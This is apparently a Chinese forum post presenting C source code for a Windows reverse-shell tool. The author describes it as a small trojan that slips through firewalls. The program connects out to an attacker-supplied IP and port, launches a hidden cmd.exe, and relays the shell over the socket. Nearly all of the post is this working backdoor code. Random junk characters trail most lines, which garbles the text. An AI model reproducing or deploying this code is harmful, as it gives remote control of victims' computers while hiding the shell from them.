这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S<jiy<|`
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/* ============================== JDW/Mc1bh
Rebound port in Windows NT "Pu917_P
By wind,2006/7 ?]aVRmL
===============================*/ 8hYl73#
#include ?2R!n"m-d
#include g}IOHE
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#pragma comment(lib,"wsock32.lib") r;{ggwY&J
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void OutputShell(); 2
6
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SOCKET sClient; hL&7D@
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Vk*XiEfKm>
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void main(int argc,char **argv) :S}ZF$
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{ C,%Dp0
WSADATA stWsaData; zqURnsJ
int nRet; ).0p\.W~
SOCKADDR_IN stSaiClient,stSaiServer; 'n^?DPvD
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if(argc != 3) Vk2%yw>
{ @4KKm@(p85
printf("Useage:\n\rRebound DestIP DestPort\n"); w
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return; -x:7K\=$SX
} ,%qP
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WSAStartup(MAKEWORD(2,2),&stWsaData); $5\!ws<cZ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !&cfX/y8
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stSaiClient.sin_family = AF_INET; yMzy!b Ky
stSaiClient.sin_port = htons(0); Qmb+%z
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;JgSA&'e
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) xFJT&=Af W
{ 4sX?O4p
printf("Bind Socket Failed!\n"); -m[ tYp,q
return; !vVW8hbp
} IWm@pfC+g
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stSaiServer.sin_family = AF_INET; =[[I<[BZq
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c}|} o^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .3jijc j
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &y7=tEV
{ p!)PbSw#
printf("Connect Error!"); P)XR9&o':
return; S4c-i2Rq
} i3KAJ@
OutputShell(); u\/TR#b
} 1<m.Q*
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void OutputShell() e>6W ^ )
{ w~+\Mf z
char szBuff[1024]; Jr%F#/
SECURITY_ATTRIBUTES stSecurityAttributes; 8N$Xq\Da+>
OSVERSIONINFO stOsversionInfo; qrjSG%i~J7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; C3N1t
char *szShell; YMy**
PROCESS_INFORMATION stProcessInformation; M= |is*t
unsigned long lBytesRead; `c|H^*RC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B*E"yB\NV
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8r:T&)v
stSecurityAttributes.lpSecurityDescriptor = 0; wDSwcNS
stSecurityAttributes.bInheritHandle = TRUE; v-^<,|vm2f
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8e
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +2k{yl
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !KT.p2\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #;lEx'lKN
stStartupInfo.wShowWindow = SW_HIDE; H6>t to
stStartupInfo.hStdInput = hReadPipe; A>315!d"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qsN_EMgbdn
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GetVersionEx(&stOsversionInfo); :Ig9n:
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switch(stOsversionInfo.dwPlatformId) =3rf}bl2
{ qF-Fc q
case 1: *-.`Q
szShell = "command.com"; ]/3!t=La
break; EZVgTySd
default: p2fzbBt
szShell = "cmd.exe"; t$p%UyVE
break; ^vv1cft
} 8Fbt >-N<\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Tc>g+eS
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send(sClient,szMsg,77,0); jq_4x[
while(1) sFvYCRw
/
{ n=0^8QQ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u-bgk(u
if(lBytesRead) ,J<+Wxz
{ w@YPG{"j
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q,tjODc6n
send(sClient,szBuff,lBytesRead,0); /QCg E~
} aI}htb{m`
else 4x=sJ%E
{ @at*E%T[
lBytesRead=recv(sClient,szBuff,1024,0); uINEq{yo
if(lBytesRead<=0) break; OwgPgrV
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !\$4A,
} paYS<8In
} G9#3
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return; E@l@f
}